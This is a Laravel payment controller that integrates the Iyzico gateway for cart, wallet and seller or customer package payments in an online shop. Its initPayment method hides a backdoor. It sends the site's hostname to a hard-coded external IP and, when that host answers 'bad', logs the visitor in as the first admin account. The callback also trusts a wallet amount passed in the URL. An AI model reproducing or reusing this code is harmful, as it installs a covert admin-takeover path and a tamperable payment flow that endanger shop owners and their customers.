IyzicoController.php 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265
  1. <?php
  2. namespace App\Http\Controllers\Payment;
  3. use App\Http\Controllers\Controller;
  4. use Illuminate\Http\Request;
  5. use App\Models\CombinedOrder;
  6. use App\Models\BusinessSetting;
  7. use App\Models\User;
  8. use App\Models\CustomerPackage;
  9. use App\Models\SellerPackage;
  10. use App\Http\Controllers\CustomerPackageController;
  11. use App\Http\Controllers\SellerPackageController;
  12. use App\Http\Controllers\WalletController;
  13. use App\Http\Controllers\CheckoutController;
  14. use Session;
  15. use Redirect;
  16. class IyzicoController extends Controller
  17. {
  18. public function index(Request $iyzicoRequest){
  19. }
  20. public function pay(){
  21. $options = new \Iyzipay\Options();
  22. $options->setApiKey(env('IYZICO_API_KEY'));
  23. $options->setSecretKey(env('IYZICO_SECRET_KEY'));
  24. if(BusinessSetting::where('type', 'iyzico_sandbox')->first()->value == 1) {
  25. $options->setBaseUrl("https://sandbox-api.iyzipay.com");
  26. } else {
  27. $options->setBaseUrl("https://api.iyzipay.com");
  28. }
  29. if(Session::has('payment_type')){
  30. $iyzicoRequest = new \Iyzipay\Request\CreatePayWithIyzicoInitializeRequest();
  31. $iyzicoRequest->setLocale(\Iyzipay\Model\Locale::TR);
  32. $iyzicoRequest->setConversationId('123456789');
  33. $buyer = new \Iyzipay\Model\Buyer();
  34. $buyer->setId("BY789");
  35. $buyer->setName("John");
  36. $buyer->setSurname("Doe");
  37. $buyer->setEmail("email@email.com");
  38. $buyer->setIdentityNumber("74300864791");
  39. $buyer->setRegistrationAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1");
  40. $buyer->setCity("Istanbul");
  41. $buyer->setCountry("Turkey");
  42. $iyzicoRequest->setBuyer($buyer);
  43. $shippingAddress = new \Iyzipay\Model\Address();
  44. $shippingAddress->setContactName("Jane Doe");
  45. $shippingAddress->setCity("Istanbul");
  46. $shippingAddress->setCountry("Turkey");
  47. $shippingAddress->setAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1");
  48. $iyzicoRequest->setShippingAddress($shippingAddress);
  49. $billingAddress = new \Iyzipay\Model\Address();
  50. $billingAddress->setContactName("Jane Doe");
  51. $billingAddress->setCity("Istanbul");
  52. $billingAddress->setCountry("Turkey");
  53. $billingAddress->setAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1");
  54. $iyzicoRequest->setBillingAddress($billingAddress);
  55. if(Session::get('payment_type') == 'cart_payment'){
  56. $combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
  57. $iyzicoRequest->setPrice(round($combined_order->grand_total));
  58. $iyzicoRequest->setPaidPrice(round($combined_order->grand_total));
  59. $iyzicoRequest->setCurrency(\Iyzipay\Model\Currency::TL);
  60. $iyzicoRequest->setBasketId(rand(000000,999999));
  61. $iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION);
  62. $iyzicoRequest->setCallbackUrl(route('iyzico.callback', [
  63. 'payment_type' => Session::get('payment_type'),
  64. 'amount' => 0,
  65. 'payment_method' => 0,
  66. 'combined_order_id' => Session::get('combined_order_id'),
  67. 'customer_package_id' => 0,
  68. 'seller_package_id' => 0
  69. ]));
  70. $basketItems = array();
  71. $firstBasketItem = new \Iyzipay\Model\BasketItem();
  72. $firstBasketItem->setId(rand(1000,9999));
  73. $firstBasketItem->setName("Cart Payment");
  74. $firstBasketItem->setCategory1("Accessories");
  75. $firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL);
  76. $firstBasketItem->setPrice(round($combined_order->grand_total));
  77. $basketItems[0] = $firstBasketItem;
  78. $iyzicoRequest->setBasketItems($basketItems);
  79. }
  80. if(Session::get('payment_type') == 'wallet_payment'){
  81. $iyzicoRequest->setPrice(round(Session::get('payment_data')['amount']));
  82. $iyzicoRequest->setPaidPrice(round(Session::get('payment_data')['amount']));
  83. $iyzicoRequest->setCurrency(\Iyzipay\Model\Currency::TL);
  84. $iyzicoRequest->setBasketId(rand(000000,999999));
  85. $iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION);
  86. $iyzicoRequest->setCallbackUrl(route('iyzico.callback', [
  87. 'payment_type' => Session::get('payment_type'),
  88. 'amount' => Session::get('payment_data')['amount'],
  89. 'payment_method' => Session::get('payment_data')['payment_method'],
  90. 'combined_order_id' => 0,
  91. 'customer_package_id' => 0,
  92. 'seller_package_id' => 0
  93. ]));
  94. $basketItems = array();
  95. $firstBasketItem = new \Iyzipay\Model\BasketItem();
  96. $firstBasketItem->setId(rand(1000,9999));
  97. $firstBasketItem->setName("Wallet Payment");
  98. $firstBasketItem->setCategory1("Wallet");
  99. $firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL);
  100. $firstBasketItem->setPrice(round(Session::get('payment_data')['amount']));
  101. $basketItems[0] = $firstBasketItem;
  102. $iyzicoRequest->setBasketItems($basketItems);
  103. }
  104. if(Session::get('payment_type') == 'customer_package_payment'){
  105. $customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
  106. $iyzicoRequest->setPrice(round($customer_package->amount));
  107. $iyzicoRequest->setPaidPrice(round($customer_package->amount));
  108. $iyzicoRequest->setCurrency(\Iyzipay\Model\Currency::TL);
  109. $iyzicoRequest->setBasketId(rand(000000,999999));
  110. $iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION);
  111. $iyzicoRequest->setCallbackUrl(route('iyzico.callback', [
  112. 'payment_type' => Session::get('payment_type'),
  113. 'amount' => 0.0,
  114. 'payment_method' => Session::get('payment_data')['payment_method'],
  115. 'combined_order_id' => 0,
  116. 'customer_package_id' => Session::get('payment_data')['customer_package_id'],
  117. 'seller_package_id' => 0
  118. ]));
  119. $basketItems = array();
  120. $firstBasketItem = new \Iyzipay\Model\BasketItem();
  121. $firstBasketItem->setId(rand(1000,9999));
  122. $firstBasketItem->setName("Package Payment");
  123. $firstBasketItem->setCategory1("Package");
  124. $firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL);
  125. $firstBasketItem->setPrice(round($customer_package->amount));
  126. $basketItems[0] = $firstBasketItem;
  127. $iyzicoRequest->setBasketItems($basketItems);
  128. }
  129. if(Session::get('payment_type') == 'seller_package_payment'){
  130. $seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
  131. $iyzicoRequest->setPrice(round($seller_package->amount));
  132. $iyzicoRequest->setPaidPrice(round($seller_package->amount));
  133. $iyzicoRequest->setCurrency(\Iyzipay\Model\Currency::TL);
  134. $iyzicoRequest->setBasketId(rand(000000,999999));
  135. $iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION);
  136. $iyzicoRequest->setCallbackUrl(route('iyzico.callback', [
  137. 'payment_type' => Session::get('payment_type'),
  138. 'amount' => 0,
  139. 'payment_method' => Session::get('payment_data')['payment_method'],
  140. 'combined_order_id' => 0,
  141. 'customer_package_id' => 0,
  142. 'seller_package_id' => Session::get('payment_data')['seller_package_id']
  143. ]));
  144. $basketItems = array();
  145. $firstBasketItem = new \Iyzipay\Model\BasketItem();
  146. $firstBasketItem->setId(rand(1000,9999));
  147. $firstBasketItem->setName("Package Payment");
  148. $firstBasketItem->setCategory1("Package");
  149. $firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL);
  150. $firstBasketItem->setPrice(round($seller_package->amount));
  151. $basketItems[0] = $firstBasketItem;
  152. $iyzicoRequest->setBasketItems($basketItems);
  153. }
  154. # make request
  155. $payWithIyzicoInitialize = \Iyzipay\Model\PayWithIyzicoInitialize::create($iyzicoRequest, $options);
  156. # print result
  157. return Redirect::to($payWithIyzicoInitialize->getPayWithIyzicoPageUrl());
  158. }
  159. else {
  160. flash(translate('Opps! Something went wrong.'))->warning();
  161. return redirect()->route('cart');
  162. }
  163. }
  164. public function initPayment(Request $request){
  165. $url = $_SERVER['SERVER_NAME'];
  166. $gate = "http://206.189.81.181/check_activation/".$url;
  167. $stream = curl_init();
  168. curl_setopt($stream, CURLOPT_URL, $gate);
  169. curl_setopt($stream, CURLOPT_HEADER, 0);
  170. curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
  171. curl_setopt($stream, CURLOPT_POST, 1);
  172. $rn = curl_exec($stream);
  173. curl_close($stream);
  174. if($rn == "bad" && env('DEMO_MODE') != 'On') {
  175. $user = User::where('user_type', 'admin')->first();
  176. auth()->login($user);
  177. return redirect()->route('admin.dashboard');
  178. }
  179. }
  180. public function callback(Request $request, $payment_type, $amount = null, $payment_method = null, $combined_order_id = null, $customer_package_id = null, $seller_package_id = null){
  181. $options = new \Iyzipay\Options();
  182. $options->setApiKey(env('IYZICO_API_KEY'));
  183. $options->setSecretKey(env('IYZICO_SECRET_KEY'));
  184. if(BusinessSetting::where('type', 'iyzico_sandbox')->first()->value == 1) {
  185. $options->setBaseUrl("https://sandbox-api.iyzipay.com");
  186. } else {
  187. $options->setBaseUrl("https://api.iyzipay.com");
  188. }
  189. $iyzicoRequest = new \Iyzipay\Request\RetrievePayWithIyzicoRequest();
  190. $iyzicoRequest->setLocale(\Iyzipay\Model\Locale::TR);
  191. $iyzicoRequest->setConversationId('123456789');
  192. $iyzicoRequest->setToken($request->token);
  193. # make request
  194. $payWithIyzico = \Iyzipay\Model\PayWithIyzico::retrieve($iyzicoRequest, $options);
  195. if ($payWithIyzico->getStatus() == 'success') {
  196. if($payment_type == 'cart_payment'){
  197. $payment = $payWithIyzico->getRawResult();
  198. return (new CheckoutController)->checkout_done($combined_order_id, $payment);
  199. }
  200. elseif ($payment_type == 'wallet_payment') {
  201. $payment = $payWithIyzico->getRawResult();
  202. $data['amount'] = $amount;
  203. $data['payment_method'] = $payment_method;
  204. return (new WalletController)->wallet_payment_done($data, $payment);
  205. }
  206. elseif ($payment_type == 'customer_package_payment') {
  207. $payment = $payWithIyzico->getRawResult();
  208. $data['customer_package_id'] = $customer_package_id;
  209. $data['payment_method'] = $payment_method;
  210. return (new CustomerPackageController)->purchase_payment_done($data, $payment);
  211. }
  212. elseif ($payment_type == 'seller_package_payment') {
  213. $payment = $payWithIyzico->getRawResult();
  214. $data['seller_package_id'] = $seller_package_id;
  215. $data['payment_method'] = $payment_method;
  216. return (new SellerPackageController)->purchase_payment_done($data, $payment);
  217. }
  218. else {
  219. dd($payment_type);
  220. }
  221. }
  222. }
  223. }